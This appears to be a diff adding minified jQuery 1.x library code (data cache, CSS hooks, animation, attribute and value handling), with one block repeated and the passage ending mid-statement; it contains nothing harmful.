+!function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){function n(e){var t=e.length,n=it.type(e);return"function"===n||it.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e}function r(e,t,n){if(it.isFunction(t))return it.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return it.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(ft.test(t))return it.filter(t,e,n);t=it.filter(t,e)}return it.grep(e,function(e){return it.inArray(e,t)>=0!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t=xt[e]={};return it.each(e.match(bt)||[],function(e,n){t[n]=!0}),t}function a(){ht.addEventListener?(ht.removeEventListener("DOMContentLoaded",s,!1),e.removeEventListener("load",s,!1)):(ht.detachEvent("onreadystatechange",s),e.detachEvent("onload",s))}function s(){(ht.addEventListener||"load"===event.type||"complete"===ht.readyState)&&(a(),it.ready())}function l(e,t,n){if(void 0===n&&1===e.nodeType){var r="data-"+t.replace(Ct,"-$1").toLowerCase();if(n=e.getAttribute(r),"string"==typeof n){try{n="true"===n?!0:"false"===n?!1:"null"===n?null:+n+""===n?+n:kt.test(n)?it.parseJSON(n):n}catch(i){}it.data(e,t,n)}else n=void 0}return n}function u(e){var t;for(t in e)if(("data"!==t||!it.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(e,t,n,r){if(it.acceptData(e)){var i,o,a=it.expando,s=e.nodeType,l=s?it.cache:e,u=s?e[a]:e[a]&&a;if(u&&l[u]&&(r||l[u].data)||void 0!==n||"string"!=typeof t)return u||(u=s?e[a]=G.pop()||it.guid++:a),l[u]||(l[u]=s?{}:{toJSON:it.noop}),("object"==typeof t||"function"==typeof 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n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),it.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return o=1!==a||!it.isXMLDoc(e),o&&(t=it.propFix[t]||t,i=it.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=it.find.attr(e,"tabindex");return t?parseInt(t,10):jn.test(e.nodeName)||An.test(e.nodeName)&&e.href?0:-1}}}}),nt.hrefNormalized||it.each(["href","src"],function(e,t){it.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),nt.optSelected||(it.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),it.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){it.propFix[this.toLowerCase()]=this}),nt.enctype||(it.propFix.enctype="encoding");var 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n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var 